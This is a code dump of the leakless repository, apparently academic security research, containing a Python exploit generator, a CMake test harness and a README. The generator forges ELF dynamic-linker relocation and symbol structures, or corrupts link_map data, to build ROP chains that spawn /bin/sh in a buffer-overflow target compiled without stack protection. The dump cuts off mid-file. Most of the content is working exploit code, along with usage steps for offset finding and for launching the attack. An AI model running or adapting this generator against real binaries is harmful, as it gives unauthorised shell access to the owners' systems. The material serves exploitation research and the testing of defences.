Full Code of ucsb-seclab/leakless for AI

master 94c01b4b67b8 cached
11 files
76.0 KB
19.4k tokens
122 symbols
1 requests
Download .txt
Repository: ucsb-seclab/leakless
Branch: master
Commit: 94c01b4b67b8
Files: 11
Total size: 76.0 KB

Directory structure:
gitextract_1hr6vo3a/

├── .gitignore
├── CMakeLists.txt
├── README.md
├── exploit.py
├── memory.py
├── plugins/
│   ├── CommonGadgetsExploit.py
│   ├── RawDumperExploit.py
│   └── __init__.py
├── rangeset.py
├── utils.py
└── vuln.c

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
*.idb
*.o
*.pyc
*.gdb_history


================================================
FILE: CMakeLists.txt
================================================
cmake_minimum_required(VERSION 2.6)
project(leakless)

set(VULN vuln.c)
set(EXPLOIT exploit.py)

# Compiler flags
# ==============

# Global flags
# ------------

set(CMAKE_C_FLAGS "-fno-stack-protector -O2")
set(CMAKE_SHARED_LIBRARY_LINK_C_FLAGS "")

# Architectures and related options
# ---------------------------------

set(ARCHITECTURES "x86;x86-64" CACHE STRING "List of architectures to enable")

if ("${CMAKE_C_COMPILER_ID}" STREQUAL "Clang")
  set(INTEL_FLAVOR "-mllvm --x86-asm-syntax=intel")
elseif ("${CMAKE_C_COMPILER_ID}" STREQUAL "GNU")
  set(INTEL_FLAVOR "-masm=intel")
endif()

set(x86_FLAGS "${INTEL_FLAVOR} -m32")
set(x86_OFFSET "112")

set(x86-64_FLAGS "${INTEL_FLAVOR} -m64")
set(x86-64_OFFSET "120")

# Build types and related options
# -------------------------------

set(BUILD_TYPES no_relro partial_relro full_relro)

set(NO_RELRO_FLAGS "")
set(PARTIAL_RELRO_FLAGS "-Wl,-z,relro")
set(FULL_RELRO_FLAGS "-Wl,-z,relro,-z,now")

# Testing
# =======

enable_testing()

set(TEST_TYPES craft-dl-structs ld-corrupt)

set(TEST_FLAGS_craft-dl-structs "--method=craft-dl-structs")
set(TEST_FLAGS_ld-corrupt "--method=ld-corrupt -l 1")

# List of tests expected to fail
# ------------------------------

set(EXPECTED_TO_FAIL test-craft-dl-structs-vuln-x86-full_relro test-craft-dl-structs-vuln-x86-64-full_relro)

# Helper library
# ==============

# We create a helper library to avoid issues with RELRO libcs/loaders

set(HELPER_C_FILE "${CMAKE_CURRENT_BINARY_DIR}/helper.c")
file(WRITE "${HELPER_C_FILE}" "int return42() { return 42; }")
foreach(ARCHITECTURE ${ARCHITECTURES})
  set(TARGET_NAME "helper-${ARCHITECTURE}")
  add_library("${TARGET_NAME}" SHARED "${HELPER_C_FILE}")
  set_target_properties("${TARGET_NAME}" PROPERTIES
    COMPILE_FLAGS "${${ARCHITECTURE}_FLAGS}"
    LINK_FLAGS "${${ARCHITECTURE}_FLAGS}")
endforeach(ARCHITECTURE)

# Create targets
# ==============

add_custom_target(length)
add_custom_target(json)
add_custom_target(ropl)

foreach(ARCHITECTURE ${ARCHITECTURES})
  foreach(BUILD_TYPE ${BUILD_TYPES})

    # Binaries
    # --------

    set(TARGET_NAME "vuln-${ARCHITECTURE}-${BUILD_TYPE}")
    string(TOUPPER "${BUILD_TYPE}" TYPE_PREFIX)
    add_executable("${TARGET_NAME}" "${VULN}")
    target_link_libraries("${TARGET_NAME}" "helper-${ARCHITECTURE}")
    set_target_properties("${TARGET_NAME}" PROPERTIES
      COMPILE_FLAGS "${${ARCHITECTURE}_FLAGS} ${${TYPE_PREFIX}_FLAGS}"
      LINK_FLAGS "${${ARCHITECTURE}_FLAGS} ${${TYPE_PREFIX}_FLAGS}")

    # Tests
    # -----

    foreach(TEST_TYPE ${TEST_TYPES})
      set(TEST_NAME "test-${TEST_TYPE}-${TARGET_NAME}")
      set(TEST_FLAGS "${TEST_FLAGS_${TEST_TYPE}}")
      # Invoke the exploit
      set(EXPLOIT_INVOCATION "${CMAKE_SOURCE_DIR}/${EXPLOIT} ${TEST_FLAGS} --offset ${${ARCHITECTURE}_OFFSET} $<TARGET_FILE:${TARGET_NAME}>")
      # Command to execute and check of correctness
      set(TEST_INVOCATION "(${EXPLOIT_INVOCATION}; echo '/bin/bash -c \"base64 -d <<< UGFzc2VkCg==\"') | $<TARGET_FILE:${TARGET_NAME}> | grep -E '^Passed$'")

      # If we expect failure of this test, negate the exit result
      list(FIND EXPECTED_TO_FAIL "${TEST_NAME}" EXPECTED_TO_FAIL_INDEX)
      if (NOT EXPECTED_TO_FAIL_INDEX EQUAL -1)
        set(TEST_INVOCATION "! (${TEST_INVOCATION})")
      endif()

      # Add the test
      add_test(NAME "${TEST_NAME}" COMMAND /bin/sh -c "${TEST_INVOCATION}")

      # Add the target to have the length
      set(TARGET_LEGTH_NAME "length-${TEST_TYPE}-${TARGET_NAME}")
      add_custom_target("${TARGET_LEGTH_NAME}" COMMAND /bin/sh -c "${EXPLOIT_INVOCATION} --size")
      add_dependencies(length "${TARGET_LEGTH_NAME}")

      add_custom_command(OUTPUT "${TEST_TYPE}-${TARGET_NAME}.json"
        COMMAND /bin/sh -c "${EXPLOIT_INVOCATION} -o json" > ${TEST_TYPE}-${TARGET_NAME}.json)
      add_custom_target("json-${TEST_TYPE}-${TARGET_NAME}" DEPENDS "${TEST_TYPE}-${TARGET_NAME}.json")
      add_dependencies(json "json-${TEST_TYPE}-${TARGET_NAME}")

      add_custom_command(OUTPUT "${TEST_TYPE}-${TARGET_NAME}.ropl"
        COMMAND /bin/sh -c "${EXPLOIT_INVOCATION} -o ropl" > ${TEST_TYPE}-${TARGET_NAME}.ropl)
      add_custom_target("ropl-${TEST_TYPE}-${TARGET_NAME}" DEPENDS "${TEST_TYPE}-${TARGET_NAME}.ropl")
      add_dependencies(ropl "ropl-${TEST_TYPE}-${TARGET_NAME}")

    endforeach(TEST_TYPE)

  endforeach(BUILD_TYPE)
endforeach(ARCHITECTURE)


================================================
FILE: README.md
================================================
How to test
===========

1. Build vuln.c

        gcc -fno-stack-protector vuln.c -o /tmp/vuln -m32 -O2

2. Find the offset of the saved IP

        ruby19 "$METASPLOIT/tools/pattern_create.rb" 256 | /tmp/vuln
        dmesg | tail
        ruby19 "$METASPLOIT/tools/pattern_offset.rb" $SEGFAULT_IP

3. Launch the attack with the desired parameter

        (python ./exploit.py /tmp/vuln --offset $OFFSET; echo ls) | /tmp/vuln

You can also just dump to a JSON file all the necessary information to
perform the exploit:

    python ./exploit.py /tmp/vuln --json

For debugging information, use the `--debug` parameter. For further
information on the parameters use the `--help` parameter.

The CMake build system will compile `vuln.c` for x86 and x86-64 with
different protections enabled.  There's also a CTest testsuite which
has been tested using the `ld.gold` linker and GCC 4.8.4. Different
toolchains might require minor adjustments.

To launch it just run:

    mkdir leakless-build
    cd leakless-build
    cmake ../leakless
    make
    make test

The build system has also the `length`, `json` and `ropl` targets
which, respectively, produce the length of the generated exploit for
each supported configuration and the JSON and ropl version of the
exploit.

    make length
    make json
    make ropl

Basic idea
==========

    char *buffer = .bss;
    char *new_stack = buffer + 1024;
    int *rubbish = new_stack + 4;

    strcpy(buffer, "execve");
    *((int *) buffer) = 'exec';
    *(((int *) buffer) + 1) = 've\0\0';
    char *name = buffer;
    buffer += strlen(buffer) + 1;

    Elf32_Sym *symbol = (Elf32_Sym *) buffer;
    symbol->st_name = name - .dynstr;
    symbol->st_value = 0;
    symbol->st_info = 0;
    symbol->st_other = 0;
    symbol->st_shndx = 0;
    buffer += sizeof(*symbol);

    Elf32_Rel *reloc = (Elf32_Rel *) buffer;
    reloc->r_offset = rubbish++;
    reloc->r_info = (R_386_JUMP_SLOT | (symbol - .dynsym) / sizeof(symbol));
    buffer += sizeof(reloc):

    pre_plt((reloc - .rel.plt) / sizeof(Elf32_Rel));

Helper classes
==============

* `MemoryArea`: data structure representing a part of memory, with its
  start address, its size, a reference to what its relative to
  (e.g. the `MemoryArea` where we'll write the relocation structure
  will be relative to the `.rela.dyn` section). `MemoryArea` also
  takes care of computing the appropriate index (`MemoryArea.index`)
  relative to the specified part of memory.
* `Buffer`: data structure holding information about a buffer where we
  want to write to things. Typically this will represent to
  `.bss`. Buffer also keeps track of what part of it has already been
  allocated (`Buffer.current` points to the next free location) and
  allows to allocate new `MemoryArea`s with the appropriate
  alignement.

`Exploit`-derived classes
=========================

* `Exploit`: the base class, contains all the architecture- and
  platform-independent parts of the exploit. It keeps the list of the
  gadgets, it takes care of collecting all the interesting information
  about the program from the ELF file and abstracting some utility and
  memory-related functions (e.g. `write_pointer` and `write_string`)
  which rely on the abstract `do_writemem` function (which is
  platform- and program-dependent). Finally, in `jump_to`, contains
  the core logic for setting up the necessary data structures in the
  buffers.
* `CommonGadgetsExploit`: inherits from `Exploit` and introduces
  architecture-dependent parts, in particular gadgets and
  function-invocation logic.
* `ExecveExploit`: very simple class implementing the logic to launch
  an `execve`, so write a `NULL` pointer, a `"/bin/sh\0"` and
  explicitly look for `execve`. Finally invoke it.
* `RawDumperExploit`: exploit useful to just collect the information
  necessary to perform the attack without actually generating the ROP
  chain. `RawDumperExploit.jump_to` will return as first result an
  array of tuples `(address, what_to_write_there)`, which, for
  instance, are used to implement the `--json` parameter.


================================================
FILE: exploit.py
================================================
#!/usr/bin/env python

import os
import sys
import glob
import json
import argparse
import operator
import struct
import importlib

import elftools.elf.structs
from elftools.elf.elffile import ELFFile
from elftools.elf.relocation import RelocationSection
from elftools.elf.sections import SymbolTableSection
from elftools.elf.constants import P_FLAGS, SH_FLAGS
from elftools.elf.enums import ENUM_E_TYPE, ENUM_D_TAG

from itertools import izip
from operator import attrgetter
from collections import namedtuple

from rangeset import RangeSet

import utils
from utils import *
from memory import *

ElfN_Versym_size = 2
DF_BIND_NOW = 0x8
DF_1_NOW = 0x1

relocation_types = {
    "EM_386": 7,
    "EM_X86_64": 7,
    "EM_ARM": 22
}

# `ExploitInfo`
# * `prepare`: information on how to prepare the memory for the exploit
# * `reloc_index`: the index to pass to `dl_resolve`
# * `l_struct`: a *pointer* to a memory area containing a pointer to the `l`
#               structure used by the `dl_resolve`
# * `dl_resolve`: a *pointer* to a memory area containing a pointer to the
#                 `dl_resolve` function
# * `plt0`: the address of the first entry of the .plt which will call
#           `_dl_runtime_resolve`
ExploitInfo = namedtuple("ExploitInfo", ["prepare", "reloc_index", "l_struct",
                                         "dl_resolve", "plt0", "function_name_area"])

class Exploit:
    __slots__ = "arch", "little", "pointer_size", "dynstr", "dynsym", \
                "relplt", "plt", "filler", "relocation_type", \
                "dynamic", "versym", "gadgets", "fini"

    def __init__(self):
        self.gadgets = {}
        self.empty_exploit = lambda: ""
        self.badchars = []

    def allocate_helpers(self, buffer):
        return ""

    def add_gadget(self, architecture, name, info, gadget):
        """Adds a gadget to the collection of gadgets for the specified architecture."""
        if architecture not in self.gadgets:
            self.gadgets[architecture] = {}
        self.gadgets[architecture][name] = (info, gadget)

    def get_gadget(self, name):
        """Returns the gadget with the specified name for the current architecture"""
        return self.gadgets[self.arch][name]

    # TODO: split this, not everyone needs everything
    def config_from_elf(self, path):
        """Load all the necessary information about the program parsing the ELF
        headers. Furthermore, check some pre-requisites for the exploit to be
        successful."""
        executable_file = open(path, "r")
        elf = ELFFile(executable_file)
        get_section = lambda name: first_or_none(filter(lambda section: section.name == name, elf.iter_sections()))
        get_section_address = lambda section: None if (get_section(section) is None) else get_section(section).header.sh_addr

        # Checks
        if elf.header.e_type == ENUM_E_TYPE["ET_EXEC"]:
            raise Exception("Only non-PIE executables are supported")

        # Binary type
        self.arch = elf.header.e_machine
        self.little = elf.little_endian
        self.pointer_size = elf.elfclass / 8
        self.pointer_format = ("0x%." + str(self.pointer_size * 2) + "x")
        self.structs = elftools.elf.structs.ELFStructs(self.little, self.pointer_size * 8)

        # Useful sections
        self.sections = {section.name: (section.header.sh_addr, section.header.sh_addr + section.header.sh_size) for section in elf.iter_sections()}
        self.plt = get_section_address(".plt")
        self.got = get_section_address(".got")
        self.gotplt = get_section_address(".got.plt")

        # Dynamic section
        dynamic_section = get_section(".dynamic")
        self.writable_dynamic = dynamic_section.header.sh_flags & SH_FLAGS.SHF_WRITE
        self.dynamic = dynamic_section.header.sh_addr
        dynamic_entries = [self.structs.Elf_Dyn.parse(dynamic_entry)
                           for dynamic_entry in
                           chunks(dynamic_section.data(), self.structs.Elf_Dyn.sizeof())]

        # Dynamic symbols
        # TODO: we're relying on section names here
        symbol_table = elf.get_section_by_name(".dynsym")
        has_name = lambda name: lambda symbol: symbol.name == name
        attribute_or_default = lambda default, attribute, x: getattr(x, attribute) if x is not None else default
        memcpy_symbol = first_or_none(filter(has_name("memcpy"), symbol_table.iter_symbols()))
        self.memcpy_plt = 0 if memcpy_symbol is None else memcpy_symbol.entry.st_value

        # We try not to rely on section names
        get_dynamic = lambda name: first_or_none(map(lambda entry: entry.d_val, filter(lambda entry: entry.d_tag == name, dynamic_entries)))
        get_dynamic_index = lambda name: filter(lambda entry: entry[1].d_tag == name, enumerate(dynamic_entries))[0][0]
        self.dynstr = get_dynamic("DT_STRTAB")
        self.dynsym = get_dynamic("DT_SYMTAB")
        self.versym = get_dynamic("DT_VERSYM")
        self.verneed = get_dynamic("DT_VERNEED")
        self.relplt = get_dynamic("DT_JMPREL")
        self.addend = get_dynamic("DT_RELA") is not None
        self.dt_debug = self.dynamic + get_dynamic_index("DT_DEBUG") * self.structs.Elf_Dyn.sizeof() + self.pointer_size
        self.full_relro = (get_dynamic("DT_FLAGS") is not None) and \
                          ((get_dynamic("DT_FLAGS") & DF_BIND_NOW) != 0)
        self.full_relro = self.full_relro or ((get_dynamic("DT_FLAGS_1") is not None) and \
                          ((get_dynamic("DT_FLAGS_1") & DF_1_NOW) != 0))

        # Choose between Elf_Rel and Elf_Rela depending on the architecture
        self.rel_struct = self.structs.Elf_Rela if self.addend else self.structs.Elf_Rel

        # Looks like 64-bit and 32-bit have different alignment for the call to _dl_fixup
        self.reloc_alignment = 1 if self.pointer_size == 4 else self.rel_struct.sizeof()
        self.reloc_index_multiplier = self.rel_struct.sizeof() if self.pointer_size == 4 else 1

        #
        # Find candidate writeable areas
        #

        # Collect PT_LOAD segments (what gets mapped)
        loaded_segments = filter(lambda segment: segment.header.p_type == "PT_LOAD", elf.iter_segments())
        # Collect the segments which are writeable
        writeable_segments = filter(lambda segment: segment.header.p_flags & P_FLAGS.PF_W, loaded_segments)
        # Get their memory ranges (start, end)
        writeable_ranges = RangeSet.mutual_union(*map(lambda segment: (segment.header.p_vaddr, segment.header.p_vaddr + segment.header.p_memsz), writeable_segments))

        # List of sections we don't want to write to
        dont_overwrite_sections = filter_none([self.dynstr, self.dynsym, self.versym, self.relplt, self.dynamic, self.got, self.gotplt])
        # Memory ranges of the sections we don't want to write to
        dont_overwrite_ranges = RangeSet.mutual_union(*[self.sections[self.section_from_address(start)] for start in dont_overwrite_sections])

        # Handle RELRO segment, we don't want to write there
        relro_segment = first_or_none(filter(lambda segment: segment.header.p_type == "PT_GNU_RELRO", elf.iter_segments()))
        if relro_segment is not None:
            dont_overwrite_ranges = dont_overwrite_ranges | RangeSet(relro_segment.header.p_vaddr, relro_segment.header.p_vaddr + relro_segment.header.p_memsz)

        # Compute the set of candidate memory ranges
        self.writeable_ranges = writeable_ranges - dont_overwrite_ranges


        # Save the index of the DT_FINI entry
        fini = filter(lambda (i, entry): entry.d_tag == "DT_FINI", enumerate(dynamic_entries))
        if len(fini) > 0:
            self.fini = self.dynamic + self.structs.Elf_Dyn.sizeof() * fini[0][0]

        # Gadgets
        if self.gadgets.has_key(self.arch):
            executable_segments = filter(lambda segment: segment.header.p_flags  & P_FLAGS.PF_X, elf.iter_segments())

            for name, (info, gadget) in self.gadgets[self.arch].iteritems():
                locations = find_all_strings(executable_segments, hex_bytes(gadget))
                locations = map(self.ptr2str, locations)
                location = first_or_none(filter(lambda address: not reduce(lambda accumulate, badchar: badchar in address or accumulate, self.badchars , False), locations))
                if location is None:
                    self.gadgets[self.arch][name] = None
                else:
                    self.gadgets[self.arch][name] = (info, gadget, location)

        # Find all '\x00\x00' in non-writeable segments
        self.non_writeable_segments = filter(lambda segment: not (segment.header.p_flags & P_FLAGS.PF_W), loaded_segments)
        self.zero_or_one_addresses = find_all_strings(self.non_writeable_segments, "\x00\x00") + \
                                     find_all_strings(self.non_writeable_segments, "\x01\x00" if self.little else "\x00\x01")

        self.filler = self.ptr2str(reduce(lambda x,y: (x << 32) | 0xdeadb00b, xrange(1 + (self.pointer_size % 4)), 0))
        self.relocation_type = relocation_types[self.arch]

        #
        # Find the reloc pointing to the symbol whose name is the earliest in .dynstr
        #

        relplt_section = elf.get_section_by_name(self.section_from_address(self.relplt))
        dynsym_section = elf.get_section_by_name(self.section_from_address(self.dynsym))

        if not (isinstance(relplt_section, RelocationSection) and \
                isinstance(dynsym_section, SymbolTableSection)):
            raise Exception("Unexpect type for dynamic sections: " + str(relplt_section) + " " + str(dynsym_section))

        # Grab .got.plt relocs symbol indexes
        symbol_indexes = [reloc.entry.r_info_sym if reloc.entry.r_info_type == self.relocation_type else None for reloc in relplt_section.iter_relocations()]
        # Get offsets in .dynstr
        names_offsets = [dynsym_section.get_symbol(index).entry.st_name if index is not None else None for index in symbol_indexes]
        # Filter out unamed offsets
        names_offsets = [offset if offset > 0 else None for offset in names_offsets]
        # Get the minimum value
        self.min_reloc_index, self.min_string_offset = min(enumerate(names_offsets), key=operator.itemgetter(1))
        self.min_symbol_index = symbol_indexes[self.min_reloc_index]

        log(self.dump())

    def get_non_writeable_segment(self, address):
        for non_writeable_segment in self.non_writeable_segments:
            start = non_writeable_segment.header.p_vaddr
            end = start + non_writeable_segment.header.p_memsz
            if (start <= address) and (address < end):
                return non_writeable_segment
        return None

    def read_non_writeable(self, address, size):
        segment = self.get_non_writeable_segment(address)
        if segment is None:
            raise Exception("Not a non-writeable address: " + hex(address))
        start = segment.header.p_vaddr
        end = start + segment.header.p_memsz
        return segment.data()[address - start:address - start + size]

    def section_from_address(self, address):
        for name, section in self.sections.iteritems():
            start = section[0]
            end = section[1]
            # TODO: we're excluding mappings at 0
            if (start > 0) and (start <= address) and ((address < end) or ((start > 0) and (end - start == 0))):
                return name
        raise Exception("Can't find a section for address " + hex(address))

    def closest_section_from_address(self, address):
        sorted_sections = [0] + sorted([section[0] for section in self.sections.itervalues()]) + [(1 << 8 * self.pointer_size) - 1]
        for start, end in pairwise(sorted_sections):
            if (start <= address) and (address < end):
                return ("0" if start == 0 else self.section_from_address(start)) + " + " + hex(address - start)
        raise Exception("Can't find a section for address " + hex(address))

    def dump(self):
        """Dump all the information held by this Exploit instance for debugging
        purposes."""
        return "\n".join([slot + ": " + str(getattr(self, slot)) for slot in self.__slots__])

    # Utility functions
    # =================

    def ptr2str(self, integer):
        """Convert a pointer (in the form of an integer) to a byte string of its memory
        representation according the current architecture endianness."""
        direction = "<" if self.little else ">"
        word_size = "Q" if self.pointer_size == 8 else "I"
        mask = (1 << self.pointer_size * 8) - 1
        return struct.pack(direction + word_size, integer & mask)

    def str2ptr(self, string):
        """Convert a byte string representing a pointer to an integer."""
        direction = "<" if self.little else ">"
        word_size = "Q" if self.pointer_size == 8 else "I"
        return struct.unpack(direction + word_size, string)[0]

    # Abstractions to write memory
    # ============================

    def write_all(self, start, string):
        if (self.memcpy_plt) and (len(string) > self.pointer_size):
            return self.memcpy(start, string)

        result = self.empty_exploit()
        remaining = string
        while len(remaining) > 0:
            remaining, writer = self.do_writemem(self.ptr2str(start + len(string) - len(remaining)), remaining)
            result += writer

        return result

    def flush(self, buffer):
        result = self.empty_exploit()

        content_buffer = ""
        areas = filter(attrgetter("is_buffered"), buffer.areas.values())
        last_start = last_end = areas[0].start

        for memory_area in areas:
            memory_area.is_buffered = False

            if last_end == memory_area.start:
                content_buffer += memory_area.content
                last_end += len(memory_area.content)
            else:
                result += self.write_all(last_start, content_buffer)
                content_buffer = memory_area.content
                last_start = last_end = memory_area.start

        result += self.write_all(last_start, content_buffer)

        return result

    def write_string(self, memory_area, string, buffered=True):
        """Write an input string in the specified memory area invoking an appropriate
        number of times the do_writemem function."""
        string_len = len(string)
        if string_len == 0:
            return self.empty_exploit()
        elif string_len > memory_area.size:
            raise Exception("You're trying to write {} bytes in a MemoryArea {} bytes wide".format(string_len, memory_area.size))

        memory_area.is_buffered = buffered
        memory_area.content = string

        if not buffered:
            return self.write_all(memory_area.start, string)
        else:
            return self.empty_exploit()

    def write_pointer(self, memory_area, pointer, buffered=True):
        """Write a pointer (an integer) to a memory area."""
        return self.write_string(memory_area, self.ptr2str(pointer), buffered)

    def create_relocation(self, buffer, symbol_index, align_to=None):
        """Create an ElfN_Rel using a writable memory area as relocation
        target and referencing the requested symbol index."""

        reloc = buffer.allocate(self.rel_struct.sizeof(), align_to, self.reloc_alignment, name="reloc")

        relocation_target = buffer.allocate(self.pointer_size, name="relocation_target")

        # Create the Elf_Rela? structure to the exploit
        function_reloc = self.rel_struct.parse("\0" * self.rel_struct.sizeof())
        function_reloc.r_offset = relocation_target.start
        function_reloc.r_info_type = self.relocation_type
        function_reloc.r_info_sym = symbol_index

        if self.pointer_size * 8 == 32:
            function_reloc.r_info = function_reloc.r_info_type | (function_reloc.r_info_sym << 8)
        else:
            function_reloc.r_info = function_reloc.r_info_type | (function_reloc.r_info_sym << 32)

        prepare = self.write_string(reloc, self.rel_struct.build(function_reloc))

        return prepare, reloc

class CraftDlStructsExploit(Exploit):

    def jump_to(self, buffer, function_name_max_length):
        """Craft the necessary data structures (Elf_Rela?, Elf_Sym, version index) and
        strings to pass to the dynamic linker."""

        # Part of the ROP exploit to write the data structures
        exploit = self.empty_exploit()

        # Allocate the buffers necessary for the data structure we're going to
        # create
        function_name_str = buffer.allocate(function_name_max_length, self.dynstr, 1, name="function_name_str")

        # TODO: move symbol as first thing in the buffer
        if self.versym:
            to_range = lambda address, size: (address, address + size)

            # We have three possible constraints (in order of preference):
            # 1. The version index has special value 0 (local) or 1 (global)
            # 2. The version index falls in a memory area we can write
            # 3. The version index points to ElfN_Verneed structure we can write
            constraints = [lambda address, versym: versym in self.zero_or_one_addresses,
                           lambda address, versym: to_range(versym, ElfN_Versym_size) in buffer.ranges,
                           lambda address, versym: (self.get_non_writeable_segment(versym) is not None) and \
                                                   (to_range(self.verneed + self.structs.Elf_Verneed.sizeof() * self.str2ptr(self.read_non_writeable(versym, ElfN_Versym_size)), self.structs.Elf_Verneed.sizeof()) in buffer.ranges)]

            wrap_versym = lambda func: lambda address, index: func(address, self.versym + ElfN_Versym_size * index)
            constraints = map(wrap_versym, constraints)
        else:
            constraints = [lambda x,y: True]

        errors = 0
        for constraint in constraints:
            try:
                symbol = buffer.allocate(self.structs.Elf_Sym.sizeof(), self.dynsym, name="symbol", constraint=constraint)
                break
            except AllocateFailException:
                errors += 1
                pass

        if self.versym:
            if errors > 2: # We failed
                raise Exception("Can't find a position for the Elf_Sym")
            versym_address = self.versym + ElfN_Versym_size * symbol.index
            if errors == 1: # We can write in ElfN_Versym
                versym_area = buffer.allocate(ElfN_Versym_size, align_to=self.versym, start=versym_address)
                exploit += self.write_string(versym_area, "\x00\x00")
            elif errors == 2: # We can write in ElfN_Verneed
                verneed_address = self.verneed + self.structs.Elf_Verneed.sizeof() * self.str2ptr(self.read_non_writeable(versym_address, ElfN_Versym_size))
                verneed_area = buffer.allocate(self.structs.Elf_Verneed.sizeof(), align_to=self.verneed, start=verneed_address)

                verneed_struct = self.structs.Elf_Verneed.parse("\0" * self.structs.Elf_Verneed.sizeof())
                verneed_struct.vn_version = 1;
                verneed_struct.vn_cnt = 0;
                verneed_struct.vn_file = 0;
                verneed_struct.vn_aux = 0;
                verneed_struct.vn_next = 0;
                exploit += self.write_string(verneed_area, self.structs.Elf_Verneed.build(verneed_struct))

        # Append the creation of the Elf_Sym structure to the exploit
        function_symbol = self.structs.Elf_Sym.parse("\0" * self.structs.Elf_Sym.sizeof())
        function_symbol.st_name = function_name_str.index
        function_symbol.st_info.bind = "STB_GLOBAL"
        function_symbol.st_info.type = "STT_FUNC"

        exploit += self.write_string(symbol, self.structs.Elf_Sym.build(function_symbol))

        prepare_relocation, reloc = self.create_relocation(buffer, symbol.index, align_to=self.relplt)
        exploit += prepare_relocation

        return ExploitInfo(prepare=exploit, reloc_index=reloc.index, plt0=self.plt, l_struct=None, dl_resolve=None, function_name_area=function_name_str)

class CorruptLdSoExploit(Exploit):

    def jump_to(self, buffer, function_name_max_length):

        dt_strtab_offset = ENUM_D_TAG["DT_STRTAB"] * self.pointer_size
        l_info_offset = 8 * self.pointer_size

        fake_dynstr_area = buffer.allocate(self.min_string_offset, name="fake_dynstr")
        function_name_area = buffer.allocate(function_name_max_length, fake_dynstr_area.start, 1, name="function_name")

        # TODO: instead of this support for "don't care" memory areas
        # Allocate the DT_STRTAB dynamic entry (possibly in the fake .dynstr itself, if it fits)
        if fake_dynstr_area.size >= self.structs.Elf_Dyn.sizeof():
            dt_strtab_entry_area = fake_dynstr_area
        else:
            dt_strtab_entry_area = buffer.allocate(self.structs.Elf_Dyn.sizeof(), name="dt_strtab_entry")

        exploit = self.empty_exploit()

        # TODO: here is not really necessary to write DT_STRTAB, no one will check that
        dt_strtab_entry = self.structs.Elf_Dyn.parse("\x00" * self.structs.Elf_Dyn.sizeof())
        dt_strtab_entry.d_tag = "DT_STRTAB"
        dt_strtab_entry.d_val = fake_dynstr_area.start
        exploit += self.write_string(dt_strtab_entry_area, self.structs.Elf_Dyn.build(dt_strtab_entry))

        if not self.full_relro:
            # OK, the l_pointer is just a GOT[1] and dl_resolve is in GOT[2]
            l_pointer = self.gotplt + self.pointer_size * 1
            dl_resolve_pointer = self.gotplt + self.pointer_size * 2

            # We can also use the plt[0] entry
            plt0 = self.plt
            reloc_index = self.min_reloc_index * self.rel_struct.sizeof()
        else:
            # We can't use GOT[1], GOT[2] or plt[0], let's work around this

            # We reuse a part of the buffer multiple times
            exe_link_map_area = buffer.allocate(self.pointer_size, name="exe_link_map")
            first_lib_link_map_area = buffer.allocate(self.pointer_size, name="first_lib_link_map")
            dyn_gotplt_area = first_lib_link_map_area # Reuse
            gotplt_area = dyn_gotplt_area # Reuse
            dl_resolve_area = gotplt_area # Reuse

            # Prepare fake relocation
            prepare_relocation, fake_relocation_area = self.create_relocation(buffer, self.min_symbol_index)
            exploit += prepare_relocation

            # TODO: factorize this
            dt_jmprel_entry_area = buffer.allocate(self.structs.Elf_Dyn.sizeof(), name="fake_jmprel_entry")
            # TODO: here is not really necessary to write DT_JMPREL, no one will check that
            dt_jmprel_entry = self.structs.Elf_Dyn.parse("\x00" * self.structs.Elf_Dyn.sizeof())
            dt_jmprel_entry.d_tag = "DT_JMPREL"
            dt_jmprel_entry.d_val = fake_relocation_area.start
            exploit += self.write_string(dt_jmprel_entry_area, self.structs.Elf_Dyn.build(dt_jmprel_entry))

            # Let's navigate a bit through data structures

            # exe_link_map = *(*DT_DEBUG.d_val + offsetof(r_map))
            # TODO: factorize out glibc's magic numbers
            r_map_offset = self.pointer_size # an int
            exploit += self.deref_with_offset_and_save(self.ptr2str(self.dt_debug),
                                                       self.ptr2str(r_map_offset),
                                                       self.ptr2str(exe_link_map_area.start))

            # first_lib_link_map = *(*exe_link_map + offsetof(l_next))
            l_next_offset = self.pointer_size * 3 # skip l_addr, l_name and l_ld
            exploit += self.deref_with_offset_and_save(self.ptr2str(exe_link_map_area.start),
                                                       self.ptr2str(l_next_offset),
                                                       self.ptr2str(first_lib_link_map_area.start))

            # Repeat until we reach the desired library (check with `ldd`)
            for _ in xrange(1, self.library_index + 1):
                exploit += self.deref_with_offset_and_save(self.ptr2str(first_lib_link_map_area.start),
                                                           self.ptr2str(l_next_offset),
                                                           self.ptr2str(first_lib_link_map_area.start))

            # dyn_gotplt = *(*first_lib_link_map + offsetof(l_info) + offsetof(DT_PLTGOT))
            dt_pltgot_offset = ENUM_D_TAG["DT_PLTGOT"] * self.pointer_size
            exploit += self.deref_with_offset_and_save(self.ptr2str(first_lib_link_map_area.start),
                                                       self.ptr2str(l_info_offset + dt_pltgot_offset),
                                                       self.ptr2str(dyn_gotplt_area.start))

            # gotplt = *(*dyn_gotplt + offsetof(d_val))
            d_val_offset = self.pointer_size
            exploit += self.deref_with_offset_and_save(self.ptr2str(dyn_gotplt_area.start),
                                                       self.ptr2str(d_val_offset),
                                                       self.ptr2str(gotplt_area.start))

            # dl_resolve = *(*gotplt + offsetof(dl_resolve_offset))
            dl_resolve_offset = self.pointer_size * 2 # Take GOT[2]
            exploit += self.deref_with_offset_and_save(self.ptr2str(gotplt_area.start),
                                                       self.ptr2str(dl_resolve_offset),
                                                       self.ptr2str(dl_resolve_area.start))

            # Make DT_JMPREL of the main executable point to our fake relocation
            # *(*exe_link_map + offsetof(l_info) + offsetof(DT_REL)) = fake_relocation
            dt_rel_offset = ENUM_D_TAG["DT_JMPREL"] * self.pointer_size
            exploit += self.write_with_offset(self.ptr2str(exe_link_map_area.start),
                                              self.ptr2str(l_info_offset + dt_rel_offset),
                                              self.ptr2str(dt_jmprel_entry_area.start))

            l_pointer = exe_link_map_area.start
            dl_resolve_pointer = dl_resolve_area.start
            plt0 = None
            reloc_index = 0

        # Make DT_STRTAB point to our fake DT_STRTAB structure
        # *(*l_pointer + offsetof(l_info) + offsetof(DT_STRTAB)) = dt_strtab_entry
        exploit += self.write_with_offset(self.ptr2str(l_pointer),
                                          self.ptr2str(l_info_offset + dt_strtab_offset),
                                          self.ptr2str(dt_strtab_entry_area.start))

        return ExploitInfo(prepare=exploit,
                           reloc_index=reloc_index,
                           l_struct=l_pointer,
                           dl_resolve=dl_resolve_pointer,
                           plt0=plt0,
                           function_name_area=function_name_area)

def launch(exploit, program):
    """Launch an execve("/bin/sh/", &null, &null); exploit."""

    buffer = Buffer(exploit, exploit.writeable_ranges)

    binsh_str = program + "\0"

